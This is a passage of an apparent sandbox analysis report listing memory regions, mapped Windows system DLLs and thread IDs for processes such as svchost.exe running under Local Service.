region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2905 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 2906 start_va = 0x940000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 2907 start_va = 0xa50000 end_va = 0xacffff entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2908 start_va = 0xb30000 end_va = 0xbaffff entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 2909 start_va = 0xbb0000 end_va = 0xe7efff entry_point = 0xbb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2910 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2911 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2912 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2913 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2914 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2915 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2916 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2917 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2918 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Thread: id = 258 os_tid = 0x7f4 Thread: id = 259 os_tid = 0x3f8 Thread: id = 260 os_tid = 0x3c4 Thread: id = 300 os_tid = 0x12c Thread: id = 301 os_tid = 0x5e0 Thread: id = 302 os_tid = 0x278 Process: id = "18" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9e4d000" os_pid = "0x2cc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bb5d" [0xc000000f], "LOCAL" [0x7] Region: id = 2704 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2705 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2706 start_va = 0x30000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2707 start_va = 0xb0000 end_va = 0xb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2708 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2709 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2710 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2711 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2712 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2713 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2714 start_va = 0x180000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2715 start_va = 0x280000 end_va = 0x33ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 2716 start_va = 0x340000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2717 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2718 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2719 start_va = 0x470000 end_va = 0x5f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 2720 start_va = 0x600000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2721 start_va = 0x790000 end_va = 0xb82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 2722 start_va = 0xb90000 end_va = 0xbcffff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 2723 start_va = 0xbd0000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 2724 start_va = 0xbf0000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 2725 start_va = 0xc10000 end_va = 0xc10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 2726 start_va = 0xc20000 end_va = 0xc20fff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 2727 start_va = 0xc30000 end_va = 0xcaffff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2728 start_va = 0xcb0000 end_va = 0xcb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 2729 start_va = 0xcc0000 end_va = 0xcc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cc0000" filename = "" Region: id = 2730 start_va = 0xcd0000 end_va = 0xcd1fff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 2731 start_va = 0xce0000 end_va = 0xce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 2732 start_va = 0xcf0000 end_va = 0xcf2fff entry_point = 0xcf0000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 2733 start_va = 0xd00000 end_va = 0xd01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 2734 start_va = 0xd10000 end_va = 0xd10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 2735 start_va = 0xd20000 end_va = 0xd20fff entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 2736 start_va = 0xd80000 end_va = 0xde1fff entry_point = 0xd80000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2737 start_va = 0xe50000 end_va = 0xe57fff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 2738 start_va = 0xe60000 end_va = 0xedffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 2739 start_va = 0xf10000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 2740 start_va = 0xf90000 end_va = 0xff1fff entry_point = 0xf90000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2741 start_va = 0x1060000 end_va = 0x132efff entry_point = 0x1060000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2742 start_va = 0x1330000 end_va = 0x142ffff entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 2743 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 2744 start_va = 0x1530000 end_va = 0x15affff entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 2745 start_va = 0x15d0000 end_va = 0x164ffff entry_point = 0x0 region_type = private name = "private_0x00000000015d0000" filename = "" Region: id = 2746 start_va = 0x1650000 end_va = 0x16cffff entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 2747 start_va = 0x1700000 end_va = 0x177ffff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 2748 start_va = 0x17e0000 end_va = 0x18dffff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 2749 start_va = 0x1910000 end_va = 0x198ffff entry_point = 0x0 region_type = private name = "private_0x0000000001910000" filename = "" Region: id = 2750 start_va = 0x19a0000 end_va = 0x1a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000019a0000" filename = "" Region: id = 2751 start_va = 0x1a40000 end_va = 0x1abffff entry_point = 0x0 region_type = private name = "private_0x0000000001a40000" filename = "" Region: id = 2752 start_va = 0x1b30000 end_va = 0x1baffff entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 2753 start_va = 0x1bb0000 end_va = 0x1c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 2754 start_va = 0x1c60000 end_va = 0x1cdffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 2755 start_va = 0x1d00000 end_va = 0x1d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 2756 start_va = 0x1d80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 2757 start_va = 0x1fd0000 end_va = 0x204ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 2758 start_va = 0x20a0000 end_va = 0x211ffff entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 2759 start_va = 0x2120000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 2760 start_va = 0x2520000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 2761 start_va = 0x25a0000 end_va = 0x261ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 2762 start_va = 0x2660000 end_va = 0x26dffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 2763 start_va = 0x2720000 end_va = 0x2b22fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 2764 start_va = 0x2ba0000 end_va = 0x2c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ba0000" filename = "" Region: id = 2765 start_va = 0x2c20000 end_va = 0x341ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 2766 start_va = 0x3530000 end_va = 0x35affff entry_point = 0x0 region_type = private name = "private_0x0000000003530000" filename = "" Region: id = 2767 start_va = 0x3650000 end_va = 0x36cffff entry_point = 0x0 region_type = private name = "private_0x0000000003650000" filename = "" Region: id = 2768 start_va = 0x36d0000 end_va = 0x374ffff entry_point = 0x0 region_type = private name = "private_0x00000000036d0000" filename = "" Region: id = 2769 start_va = 0x37a0000 end_va = 0x381ffff entry_point = 0x0 region_type = private name = "private_0x00000000037a0000" filename = "" Region: id = 2770 start_va = 0x3820000 end_va = 0x389ffff entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 2771 start_va = 0x38b0000 end_va = 0x392ffff entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 2772 start_va = 0x3930000 end_va = 0x3a2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003930000" filename = "" Region: id = 2773 start_va = 0x3a50000 end_va = 0x3acffff entry_point = 0x0 region_type = private name = "private_0x0000000003a50000" filename = "" Region: id = 2774 start_va = 0x3b50000 end_va = 0x3bcffff entry_point = 0x0 region_type = private name = "private_0x0000000003b50000" filename = "" Region: id = 2775 start_va = 0x3c20000 end_va = 0x3c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c20000" filename = "" Region: id = 2776 start_va = 0x3cb0000 end_va = 0x3d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003cb0000" filename = "" Region: id = 2777 start_va = 0x3d60000 end_va = 0x3ddffff entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 2778 start_va = 0x3e30000 end_va = 0x3eaffff entry_point = 0x0 region_type = private name = "private_0x0000000003e30000" filename = "" Region: id = 2779 start_va = 0x3f40000 end_va = 0x3fbffff entry_point = 0x0 region_type = private name = "private_0x0000000003f40000" filename = "" Region: id = 2780 start_va = 0x4000000 end_va = 0x407ffff entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 2781 start_va = 0x4090000 end_va = 0x410ffff entry_point = 0x0 region_type = private name = "private_0x0000000004090000" filename = "" Region: id = 2782 start_va = 0x4120000 end_va = 0x419ffff entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 2783 start_va = 0x41a0000 end_va = 0x421ffff entry_point = 0x0 region_type = private name = "private_0x00000000041a0000" filename = "" Region: id = 2784 start_va = 0x4220000 end_va = 0x429ffff entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 2785 start_va = 0x4370000 end_va = 0x43effff entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 2786 start_va = 0x4500000 end_va = 0x457ffff entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 2787 start_va = 0x75940000 end_va = 0x75942fff entry_point = 0x75940000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 2788 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2789 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2790 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2791 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2792 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2793 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2794 start_va = 0xffc20000 end_va = 0xffc2afff entry_point = 0xffc20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2795 start_va = 0xfffb0000 end_va = 0x100002fff entry_point = 0xfffb0000 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 2796 start_va = 0x7fedffd0000 end_va = 0x7fee007dfff entry_point = 0x7fedffd0000 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 2797 start_va = 0x7fee0080000 end_va = 0x7fee01a4fff entry_point = 0x7fee0080000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 2798 start_va = 0x7fee52c0000 end_va = 0x7fee52dbfff entry_point = 0x7fee52c0000 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 2799 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2800 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2801 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2802 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2803 start_va = 0x7fef8240000 end_va = 0x7fef828efff entry_point = 0x7fef8240000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 2804 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2805 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2806 start_va = 0x7fef9740000 end_va = 0x7fef977afff entry_point = 0x7fef9740000 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 2807 start_va = 0x7fef9780000 end_va = 0x7fef97d0fff entry_point = 0x7fef9780000 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 2808 start_va = 0x7fef97f0000 end_va = 0x7fef97f7fff entry_point = 0x7fef97f0000 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 2809 start_va = 0x7fef9800000 end_va = 0x7fef9809fff entry_point = 0x7fef9800000 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 2810 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2811 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2812 start_va = 0x7fefbb50000 end_va = 0x7fefbb58fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 2813 start_va = 0x7fefbb60000 end_va = 0x7fefbc0bfff entry_point = 0x7fefbb60000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 2814 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2815 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2816 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2817 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2818 start_va = 0x7fefc0a0000 end_va = 0x7fefc0eafff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 2819 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2820 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2821 start_va = 0x7fefcbb0000 end_va = 0x7fefcd45fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 2822 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2823 start_va = 0x7fefcd60000 end_va = 0x7fefce1afff entry_point = 0x7fefcd60000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2824 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2825 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2826 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2827 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2828 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2829 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2830 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2831 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2832 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2833 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2834 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2835 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2836 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2837 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2838 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2839 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2840 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2841 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2842 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2843 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2844 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = 